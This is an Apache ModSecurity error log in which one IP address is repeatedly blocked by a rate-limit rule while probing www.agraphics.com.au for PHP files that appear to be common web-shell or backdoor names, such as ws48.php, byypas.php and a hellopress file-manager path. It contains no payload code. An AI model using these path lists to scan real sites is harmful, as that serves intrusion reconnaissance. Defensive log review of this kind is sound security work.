[Wed Apr 15 19:18:42.574202 2026] [:error] [pid 30956:tid 30960] [client 172.161.107.89:42888] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "ad90EkBGUpjaWntNYq1g1wAAAAA"]
[Wed Apr 15 19:18:42.591828 2026] [:error] [pid 37370:tid 37383] [client 172.161.107.89:37518] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws48.php"] [unique_id "ad90Eng-gnM2Ga0cGAAGBwAAAQs"]
[Wed Apr 15 19:18:43.101048 2026] [:error] [pid 37370:tid 37390] [client 172.161.107.89:31183] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws48.php"] [unique_id "ad90E3g-gnM2Ga0cGAAGCgAAARI"]
[Wed Apr 15 19:18:43.126857 2026] [:error] [pid 37370:tid 37384] [client 172.161.107.89:39263] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "ad90E3g-gnM2Ga0cGAAGCwAAAQw"]
[Wed Apr 15 19:18:43.586745 2026] [:error] [pid 37370:tid 37395] [client 172.161.107.89:39258] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws48.php"] [unique_id "ad90E3g-gnM2Ga0cGAAGDwAAARc"]
[Wed Apr 15 19:18:43.676612 2026] [:error] [pid 37370:tid 37376] [client 172.161.107.89:37919] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "ad90E3g-gnM2Ga0cGAAGEAAAAQQ"]
[Wed Apr 15 19:18:44.066033 2026] [:error] [pid 37370:tid 37381] [client 172.161.107.89:32442] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ad90FHg-gnM2Ga0cGAAGFAAAAQk"]
[Wed Apr 15 19:18:44.154914 2026] [:error] [pid 37370:tid 37386] [client 172.161.107.89:34144] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "ad90FHg-gnM2Ga0cGAAGFgAAAQ4"]
[Wed Apr 15 19:18:44.584358 2026] [:error] [pid 37370:tid 37383] [client 172.161.107.89:39288] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ad90FHg-gnM2Ga0cGAAGGgAAAQs"]
[Wed Apr 15 19:18:44.652396 2026] [:error] [pid 37370:tid 37388] [client 172.161.107.89:39248] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ad90FHg-gnM2Ga0cGAAGGwAAARA"]
[Wed Apr 15 19:18:45.063348 2026] [:error] [pid 37370:tid 37378] [client 172.161.107.89:17938] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ad90FXg-gnM2Ga0cGAAGIAAAAQY"]
[Wed Apr 15 19:18:45.173429 2026] [:error] [pid 30957:tid 31011] [client 172.161.107.89:32427] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ad90FX5gwVEVXHfVSipwsgAAAFY"]
[Wed Apr 15 19:18:45.555044 2026] [:error] [pid 37370:tid 37387] [client 172.161.107.89:29148] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ad90FXg-gnM2Ga0cGAAGJQAAAQ8"]
[Wed Apr 15 19:18:45.762142 2026] [:error] [pid 37370:tid 37388] [client 172.161.107.89:8556] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ad90FXg-gnM2Ga0cGAAGKAAAARA"]
[Wed Apr 15 19:18:46.119278 2026] [:error] [pid 37370:tid 37396] [client 172.161.107.89:7972] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "ad90Fng-gnM2Ga0cGAAGLQAAARg"]
[Wed Apr 15 19:18:46.242649 2026] [:error] [pid 37370:tid 37376] [client 172.161.107.89:32394] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ad90Fng-gnM2Ga0cGAAGLwAAAQQ"]
[Wed Apr 15 19:18:46.597947 2026] [:error] [pid 37370:tid 37385] [client 172.161.107.89:32397] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "ad90Fng-gnM2Ga0cGAAGMgAAAQ0"]
[Wed Apr 15 19:18:46.730662 2026] [:error] [pid 37370:tid 37379] [client 172.161.107.89:37913] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "ad90Fng-gnM2Ga0cGAAGNAAAAQc"]
[Wed Apr 15 19:18:47.106155 2026] [:error] [pid 30958:tid 31022] [client 172.161.107.89:43640] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "ad90F8eG3wSKTO7NWFGNJAAAAMY"]
[Wed Apr 15 19:18:47.444431 2026] [:error] [pid 31053:tid 31071] [client 172.161.107.89:37535] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "ad90FxcEkLCmvF0fjDesXQAAAI8"]
[Wed Apr 15 19:18:47.603595 2026] [:error] [pid 30958:tid 31016] [client 172.161.107.89:32699] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "ad90F8eG3wSKTO7NWFGNJQAAAMA"]
[Wed Apr 15 19:18:48.141090 2026] [:error] [pid 30957:tid 30995] [client 172.161.107.89:7964] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xxx.php"] [unique_id "ad90GH5gwVEVXHfVSipwtQAAAEY"]
[Wed Apr 15 19:18:48.173286 2026] [:error] [pid 30958:tid 31027] [client 172.161.107.89:25168] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "ad90GMeG3wSKTO7NWFGNKAAAAMs"]
[Wed Apr 15 19:18:48.687305 2026] [:error] [pid 30958:tid 31023] [client 172.161.107.89:7953] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xxx.php"] [unique_id "ad90GMeG3wSKTO7NWFGNKQAAAMc"]
[Wed Apr 15 19:18:48.819205 2026] [:error] [pid 30958:tid 31037] [client 172.161.107.89:39270] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "ad90GMeG3wSKTO7NWFGNKgAAANU"]
[Wed Apr 15 19:18:49.162196 2026] [:error] [pid 30958:tid 31020] [client 172.161.107.89:5137] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xxx.php"] [unique_id "ad90GceG3wSKTO7NWFGNLAAAAMQ"]
[Wed Apr 15 19:18:49.326540 2026] [:error] [pid 37370:tid 37385] [client 172.161.107.89:9655] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad90GXg-gnM2Ga0cGAAGRQAAAQ0"]
[Wed Apr 15 19:18:49.652515 2026] [:error] [pid 37370:tid 37377] [client 172.161.107.89:7967] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xxx.php"] [unique_id "ad90GXg-gnM2Ga0cGAAGSAAAAQU"]
[Wed Apr 15 19:18:49.817375 2026] [:error] [pid 30958:tid 31034] [client 172.161.107.89:42929] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad90GceG3wSKTO7NWFGNLgAAANI"]
[Wed Apr 15 19:18:50.130275 2026] [:error] [pid 37370:tid 37380] [client 172.161.107.89:32691] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wen.php"] [unique_id "ad90Gng-gnM2Ga0cGAAGTgAAAQg"]
[Wed Apr 15 19:18:50.305921 2026] [:error] [pid 30958:tid 31039] [client 172.161.107.89:42886] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad90GseG3wSKTO7NWFGNLwAAANc"]
[Wed Apr 15 19:18:50.613407 2026] [:error] [pid 31053:tid 31067] [client 172.161.107.89:5180] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wen.php"] [unique_id "ad90GhcEkLCmvF0fjDesXgAAAIs"]
[Wed Apr 15 19:18:50.845312 2026] [:error] [pid 30958:tid 31019] [client 172.161.107.89:37889] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad90GseG3wSKTO7NWFGNMAAAAMM"]
[Wed Apr 15 19:18:51.092926 2026] [:error] [pid 30958:tid 31035] [client 172.161.107.89:16385] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wen.php"] [unique_id "ad90G8eG3wSKTO7NWFGNMgAAANM"]
[Wed Apr 15 19:18:51.433973 2026] [:error] [pid 30957:tid 30999] [client 172.161.107.89:5123] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad90G35gwVEVXHfVSipwtgAAAEo"]
[Wed Apr 15 19:18:51.589527 2026] [:error] [pid 30956:tid 30969] [client 172.161.107.89:37978] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wen.php"] [unique_id "ad90G0BGUpjaWntNYq1g3wAAAAk"]
[Wed Apr 15 19:18:52.060840 2026] [:error] [pid 31053:tid 31064] [client 172.161.107.89:16773] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad90HBcEkLCmvF0fjDesXwAAAIg"]
[Wed Apr 15 19:18:52.107638 2026] [:error] [pid 30958:tid 31028] [client 172.161.107.89:32679] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bnm.php"] [unique_id "ad90HMeG3wSKTO7NWFGNNQAAAMw"]
[Wed Apr 15 19:18:52.649740 2026] [:error] [pid 31053:tid 31076] [client 172.161.107.89:26661] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad90HBcEkLCmvF0fjDesYAAAAJQ"]
[Wed Apr 15 19:18:52.691404 2026] [:error] [pid 31053:tid 31066] [client 172.161.107.89:26741] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bnm.php"] [unique_id "ad90HBcEkLCmvF0fjDesYQAAAIo"]
[Wed Apr 15 19:18:53.185333 2026] [:error] [pid 30957:tid 31003] [client 172.161.107.89:30274] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bnm.php"] [unique_id "ad90HX5gwVEVXHfVSipwuAAAAE4"]
[Wed Apr 15 19:18:53.278136 2026] [:error] [pid 31053:tid 31056] [client 172.161.107.89:15242] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad90HRcEkLCmvF0fjDesYwAAAIA"]
[Wed Apr 15 19:18:53.666391 2026] [:error] [pid 30957:tid 30998] [client 172.161.107.89:31174] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bnm.php"] [unique_id "ad90HX5gwVEVXHfVSipwuQAAAEk"]
[Wed Apr 15 19:18:53.840597 2026] [:error] [pid 31053:tid 31079] [client 172.161.107.89:8545] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws48.php"] [unique_id "ad90HRcEkLCmvF0fjDesZQAAAJc"]
[Wed Apr 15 19:18:54.162122 2026] [:error] [pid 31053:tid 31065] [client 172.161.107.89:9641] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad90HhcEkLCmvF0fjDesZwAAAIk"]
[Wed Apr 15 19:18:54.478870 2026] [:error] [pid 30958:tid 31038] [client 172.161.107.89:37521] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws48.php"] [unique_id "ad90HseG3wSKTO7NWFGNOAAAANY"]
[Wed Apr 15 19:18:54.731995 2026] [:error] [pid 30956:tid 30977] [client 172.161.107.89:5120] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad90HkBGUpjaWntNYq1g4gAAABE"]
[Wed Apr 15 19:18:55.195820 2026] [:error] [pid 31053:tid 31063] [client 172.161.107.89:32702] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws48.php"] [unique_id "ad90HxcEkLCmvF0fjDesagAAAIc"]
[Wed Apr 15 19:18:55.244623 2026] [:error] [pid 37370:tid 37391] [client 172.161.107.89:21016] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad90H3g-gnM2Ga0cGAAGaAAAARM"]
[Wed Apr 15 19:18:55.799469 2026] [:error] [pid 30957:tid 30992] [client 172.161.107.89:7777] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws48.php"] [unique_id "ad90H35gwVEVXHfVSipwvAAAAEM"]
[Wed Apr 15 19:18:55.802618 2026] [:error] [pid 30957:tid 31012] [client 172.161.107.89:42920] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad90H35gwVEVXHfVSipwvQAAAFc"]
[Wed Apr 15 19:18:56.305692 2026] [:error] [pid 31053:tid 31072] [client 172.161.107.89:7743] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byypas.php"] [unique_id "ad90IBcEkLCmvF0fjDesawAAAJA"]
[Wed Apr 15 19:18:56.362852 2026] [:error] [pid 37370:tid 37386] [client 172.161.107.89:5158] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ad90IHg-gnM2Ga0cGAAGbAAAAQ4"]
[Wed Apr 15 19:18:56.825355 2026] [:error] [pid 30957:tid 31010] [client 172.161.107.89:37974] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byypas.php"] [unique_id "ad90IH5gwVEVXHfVSipwvgAAAFU"]
[Wed Apr 15 19:18:56.913921 2026] [:error] [pid 30957:tid 31006] [client 172.161.107.89:42938] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ad90IH5gwVEVXHfVSipwvwAAAFE"]
[Wed Apr 15 19:18:57.355431 2026] [:error] [pid 30958:tid 31030] [client 172.161.107.89:27841] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byypas.php"] [unique_id "ad90IceG3wSKTO7NWFGNPAAAAM4"]
